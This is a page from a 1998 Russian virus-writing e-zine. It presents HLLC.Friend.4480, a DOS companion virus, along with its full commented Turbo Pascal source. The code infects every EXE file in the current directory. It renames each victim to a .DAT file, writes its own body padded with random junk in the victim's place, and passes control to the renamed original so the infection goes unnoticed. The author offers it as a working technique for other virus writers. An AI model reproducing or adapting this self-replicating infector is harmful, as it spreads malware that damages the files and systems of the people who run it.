- [Duke's Virus Labs #3] - [Page 10] - HLLC.Friend.4480 (c) by Duke/SMF Имя вируса : HLLC.Friend.4480 aka Friend-5 Автор : Duke/SMF Дата создания : 12.11.98 Это файловый компаньон вирус, поражающий EXE-файлы в текущем каталоге. Найденная жертва переименовывается в DAT-файл, а вирус записывается вместо нее в EXE-файл. Чтобы передать управление пораженному файлу, вирус всего лишь запускает DAT-файл !!! Таким образом обламываются все заблуждения относительно того, что запустить можно только EXE/COM/BAT файлы. Запустить можно все ! (другое дело - будет ли это все работать :) Используя этот способ для написания HLLC-вирусов не стоит более думать о постоянном переименовывании файла-жертвы или вируса - достаточно одного раза. На идею подобного вируса на меня натолкнул Kill/Hell13 , за что ему большое спасибо :)) ===== Cut here ===== {$M 5000, 0, 5000} uses dos; const virsize=4480; {длина вируса} d='.DAT'; var ds:dirstr; ns:namestr; es:extstr; g:file; mas:array[1..virsize] of char; {тело вируса} st:string; par:string; {параметры командной строки} i:integer; ch:byte; {----------------------------------------------------------------------------} procedure Zar(n:string); {процедура заражения} var b:file; begin Randomize; {инициируем генератор} fsplit(n,ds,ns,es); st:=ds+ns+d; assign(g,st);{$I-}reset(g,1);{$I+} {Проверяем, есть ли уже файл} {с расширением DAT} if ioresult<>0 then {Если нет => ещё не заражен...} begin assign(b,n); rename(b,st); {... переименовываем жертву} assign(b,n); rewrite(b,1); {... создаем компаньон} blockwrite(b,mas,virsize); {... пишем вирус} for i:=1 to random(500) do {... пишем мусор} begin ch:=random(250); blockwrite(b,ch,1); end; close(b); {заражение завершено !} end else close(g); end; {-----------------------------------------------------------------------------} procedure Find; {поиск потенциальных жертв} var s:searchrec; f:file; begin assign(f,paramstr(0)); reset(f,1); blockread(f,mas,virsize); {считываем вирус в память} close(f); findfirst('*.exe',$21,s); {ищем жертвы...} while doserror=0 do begin zar(s.name); {вызываем заражение} findnext(s); {снова ищем...} end; end; {-----------------------------------------------------------------------------} begin asm jmp @1 db '[Friend-5, Duke/SMF]' {мои копирайты ;)} @1: end; fsplit(paramstr(0),ds,ns,es); st:=ds+ns+d; assign(g,st);{$I-}reset(g);{$I+} {если найден пораженный файл...} if ioresult=0 then begin close(g); par:=''; { то сохраняем параметры...} for i:=1 to paramcount do par:=par+' '+paramstr(i); exec(st,par); { и запускаем жертву в DAT-файле!} end; Find; {проводим поиск жертв} end. ===== Cut here =====